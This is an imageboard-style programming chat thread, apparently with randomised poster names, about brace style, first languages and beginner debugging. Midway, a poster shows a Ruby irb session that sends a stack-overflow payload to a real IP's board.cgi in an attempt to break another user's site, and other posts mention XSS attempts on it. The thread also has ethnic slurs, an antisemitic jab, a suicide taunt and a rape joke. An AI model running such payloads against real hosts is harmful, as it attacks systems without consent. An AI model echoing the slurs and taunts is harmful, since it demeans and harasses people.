C# uses the first one though so that it won't look too much like java
Isaiah King
Most companies prefer B.
Joshua Lewis
Companies prefer being flexible enough to adapt to whatever standard they tell you to adopt. There's probably going to be more rules than curly brackets.
Carson Ross
But isn't A easier to see and debug?
Jayden Harris
Everything is easy in Python(tm) import tkinter as tk import qrcode as qr import sys
Second is better because of how most editors implement code folding, where it hides the lines starting at the one after the opening bracket, and ending at the one with the closing bracket.
So if() { }
becomes if() {
whereas if() { }
becomes
if() {
I think the latter looks silly and wastes space.
Ryder Morgan
Alright, makes sense. Thanks ;)
Kayden Myers
Actually it isn't, consider a 3-level block of code: function Foo() { if() { if() { } } }
Look how easy it is to see where things end and start.
Hudson Roberts
C++ >>>>>>>> java >>>>>>>> C# >>>>>>>> D >>>>>>>> rust >>>>>>>> go >>>>>>>> C >>>>>>>> python >>>>>>>> javascript >>>>>>>> php >>>>>>>> lisp >>>>>>>> haskell
Camden Edwards
There, I deposited your 500 rupees of the day, Pajeet Panaymandha
Brandon Watson
#ProgrammerLife
Sebastian Ward
yep, style guides and coding standards for each language. the bigger the company, the more rigid and exhaustive the guides.
Landon Wood
I use whatever the gofmt tool wants me to use
Jace Phillips
If anything, I adapt the Airbnb guidelines to my code in whatever the language I'm in.
Ian Foster
Why did you have to use so many larger-than symbols between each entry in your tier listing?
Dominic Powell
Nobody should accept the parenthesis next to the keyword without a tasteful space between if (...) { ... }
Jose Young
There's 88 ">" in there, convert 88 USD to Rupees, and you get around 500.
Christopher Sullivan
Because you overload >> in C++ to read from stdin
Ryan Anderson
""""""""larger-than symbols""""""""
Juan Cooper
>not even 5 minutes and some guy is trying to XSS my ass with embedded script tags
i hate you people
Samuel Powell
((((((((((((extremely jewish))))))))))))
Grayson Perez
Actually it's been 26 minutes, user
also I almost got embedded images to work before you took the site down
Alexander Price
bound it to alt+q with .i3/config and a 2line bash ""script""
Connor James
How were you doing that?
Michael Martinez
Nice blog
Charles Gutierrez
is there a way to turn off info file generation when building gcc/binutils
rubyist@Overmind:~/scratch$ ./a.out address of exit: 0x400460 rubyist@Overmind:~/scratch$ irb irb(main):001:0> require "net/http" => true irb(main):002:0> msg = ("A" * 250) + "\x60\x04\x40\x00" => "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`\u0004@\u0000" irb(main):003:0> require "uri" => false irb(main):004:0> uri = URI.parse("45.32.93.98/board.cgi") => # irb(main):005:0> response = Net::HTTP.post_form(uri, { "Submit" => msg }) Net::OpenTimeout: execution expired from /usr/lib/ruby/2.3.0/net/http.rb:880:in `initialize' from /usr/lib/ruby/2.3.0/net/http.rb:880:in `open' from /usr/lib/ruby/2.3.0/net/http.rb:880:in `block in connect' from /usr/lib/ruby/2.3.0/timeout.rb:101:in `timeout' from /usr/lib/ruby/2.3.0/net/http.rb:878:in `connect' from /usr/lib/ruby/2.3.0/net/http.rb:863:in `do_start' from /usr/lib/ruby/2.3.0/net/http.rb:852:in `start' from /usr/lib/ruby/2.3.0/net/http.rb:584:in `start' from /usr/lib/ruby/2.3.0/net/http.rb:508:in `post_form' from (irb):5 from /usr/bin/irb:11:in `'
Carter Diaz
And now it's a Ruby-senpai rapes the newfag episode.
Lucas Price
i don't know what made you think that
no
Connor Reyes
>
Kevin Clark
It likely didn't do anything. I mean, that virtual address assumes OP is
a.) Using 64-bit Linux and b.) Using the same version of libc as me (if he was using something like musl, it might be in a different virtual address).
It would also assume OP has a buffer on the stack of exactly 250 characters, and no other stack variables, thus causing exit to corrupt the return address. That said, I was able to access the site before this, and not after, so I'm curious is OP is a dumbass or something.
Nolan Davis
he took the site down on his own dood
Luis Williams
What is haskell even used for? I'm supposed to learn haskell this semester but i don't see the point.
Dylan Long
Haskell is the missing piece of the triad:
JS + Rust + Haskell
For a better programming world!
Ryder Brooks
Smart man.
Jacob Evans
Absolute beginner here. I know nothing at all.
What's the best language to start with in my adventure?
Before you ask,im doing this for game programming. Go ahead, laugh
Michael Robinson
Learn C. It's a quick language to learn, and will teach you to program safely. After you master C, it is a breeze to switch to popular game programming languages, like C++, C#, and Java. However, if you learned one of those three first, it might be harder to switch to another. This is because they all derive from C. You can even do game programming in C itself, but it is a bit harder.
I recommend "C Primer Plus" by Stephen Prata. It starts from the bottom and puts you at a good position, and is an easy read.
Luke Gray
>
Nathan Anderson
>Learn C. It's a quick language to learn, and will teach you to program safely. >C >safely heh, wat
Jacob Robinson
I recommend every beginner to start with C, due to its relative simplicity, along with the fact that it forces the beginner to learn a little bit about how computers actually work, rather than letting a runtime manage most things. After that, it goes onto whatever is relevant to your field of interest. For game development, C++ and Lua are rather popular. C++ will be easier if you already know C, but you should make sure not to delude yourself into thinking they're the same language. C++ is not a strict superset of C, and there are many ways in C++ to approach a problem more efficiently than one would in C, by leveraging work done at compile time (i.e. RAII, templates).
I second this user's recommendation of C Primer Plus.
Sebastian Howard
What edition?
Nathaniel Jenkins
it's a general purpose language, so pretty much everything
I have been following K&R to learn C but it is hard to stay motivated, I think I need a project to keep me interested. All of my projects before were just simple ones like a python twitter bot (just spams one message) or web scraper. Any interesting projects at a lower skill level that I could write in C? I can't just default to writing something to pull from a webpage this time because it's, well, C. >inb4 programming isn't for you I enjoy it a lot, just need to find something fun to write before I get back to K&R. Any ideas?
Carson Barnes
The most recent you can get your hands on, of course. The latest edition is available for free online, last I checked.
Liam Baker
you have to know that what you are learning is not safe in the first place, and not all books will teach you that...
Tyler Clark
Thanks user for the help user! Sorry for asking, but what site did you find it on? If anything, ill just use tpb or torrentse
Asher Reyes
By golly, I think it might be working.
Cooper Gonzalez
>IDT That's where I burned out on building an OS. Keep going user, you can do it.
Zachary Jenkins
Congratulations!
Charles Thomas
Game hack bot
Justin Ward
people make compilers with it and that's about it
not even serious compilers though, just toy ones as an exercise or for fun
Luis Williams
Would be cool. Thanks.
Charles Watson
When do you know it's time to "specialize"? I'm learning python and my goal is to learn all things related to data and how to get it, when do I know I'm ready to start ?
Lucas Turner
Why do i get an intent error on this? after i type what i want done it ends the program aka what do?
Camden Nelson
start with single player I guess, you will learn about memory, offsets, hooking etc.
Eli Campbell
1. your indentation is shit 2. you're in highschool
Aiden Morales
I need to learn more C before I do it but it's quite an exciting goal to look forward to. Excactly what I needed
Daniel Torres
While those are both true, that doesnt help me. What can i do better? Any tips to become neater or anything?
Nicholas Carter
First of all, stop using Java. Second, STOP using Java.
And third, STOP USING JAVA.
It'll make your life easier if you learn Rust or C++ instead.
Brandon Sullivan
So... let's say that I want to learn how to code. Where should I start? >inb4 rainbow socks and estrogen
Benjamin Lewis
I know, Sup Forums hates java but its my summer assignment. I plan to learn C next, then python.
Hunter Nguyen
>those comments Stop, please. Comments are for explaining parts of code that aren't directly understandable. They are not for literally rewriting obvious lines of code in English.
Colton Cruz
Im aware, but i do that to get in the habit of writing them.
First order of business is to make comments only when the code you wrote needs one.
Jackson Hall
See TL;DR: Learn C, read C Primer Plus.
Brandon Barnes
Pajeet pls
Colton Miller
what's the error? show the 'problems' tab
Dominic Campbell
Choice.equals(Multiply) you're comparing Choice to the Double variable Multiply. You might want to try Choice.equals("Multiply") instead.
Cameron Martin
I have no clue, thats my problem. It runs fine but as soon as you type divide or multiply it just ends the program without an error.
(Also the 953 errors are from when i switched all my old programs over but havent bothered to organize them to their correct folders. Im working on this at the moment)
Ryder Morgan
Kill yourself
Ayden Flores
tried that, still get the same error
Jeremiah Foster
One: Close your shit Two: Your issue probably lies on line 38 and 47
Aaron Cox
Rate my UTF-8 converter! char *utf8_rewrite(char *str) { /* %E5%88%9D%E9%9F%B3%E3%83%9F%E3%82%AF => 初音ミク*/ unsigned i, j; for (i = 0; str[i]; i++) { if (str[i] == '%') { for (j = 1; j
Liam Morgan
Isn't C kind of dated? Not trolling btw.
Andrew Baker
this works fine for me
Scanner s = new Scanner(System.in); if(s.nextLine().equals("foo")) { System.out.println("foo"); }
Jaxson Cruz
true learn C++14
Jason Martin
LISP and FORTRAN are older, but people still use them.
Sebastian Carter
yes start with java and then learn C++
also see for how good/useful the languages are
Robert King
almost no one uses them
some people learn lisp with sicp but it's not like they actually end up using lisp for anything serious
Thomas Fisher
Chill out retard, java is the best language
Dylan Perry
Here's your 450 Rupees, pajeet
John Rivera
There's tons of ancient scientific stuff still in FORTRAN. And the COBOL boogeyman is still extant.
C is very old, but it makes up a large amount of code in our infrastructure. If you wanted to, for example, understand how the Python interpreter works, you would need to know C.
Christopher Rodriguez
There's no need to argue, it's already decided upon, pajeet.
Cooper Taylor
uni teaches cobol for the information systems track. I guess its for people who want to learn it so they can translate it to a more modern language.
Lincoln Flores
C is very easy to pick up if you already know other C-like languages, but i think it's a waste to learn it as your first language, you can pick up java in literally a week, with C there is so much C-specific bullshit and gotchas surrounding it that aren't fundamental to learning programming
Lucas Rivera
Is Crystal a worthwhile replacement to Ruby or a pure meme, or somewhere in between?
Blake Morris
>MUMPS
Oh shit...
Appendix 7: An example of "traditional" M coding style
%DTC %DTC ; SF/XAK - DATE/TIME OPERATIONS ;1/16/92 11:36 AM ;;19.0;VA FileMan;;Jul 14, 1992 D I 'X1!'X2 S X="" Q S X=X1 D H S X1=%H,X=X2,X2=%Y+1 D H S X=X1-%H,%Y=%Y+1&X2 K %H,X1,X2 Q ; C S X=X1 Q:'X D H S %H=%H+X2 D YMD S:$P(X1,".",2) X=X_"."_$P(X1,".",2) K X1,X2 Q S S %=%#60/100+(%#3600\60)/100+(%\3600)/100 Q ; H I X2&'(%Y#4)+$P("^31^59^90^120^151^181^212^243^273^304^334","^",%M)+%D S %='%M!'%D,%Y=%Y-141,%H=%H+(%Y*365)+(%Y\4)-(%Y>59)+%,%Y=$S(%:- 1,1:%H+4#7)
Michael Parker
Crystal is still in Alpha, and its standard library has yet to be standardized. Make of it what you will.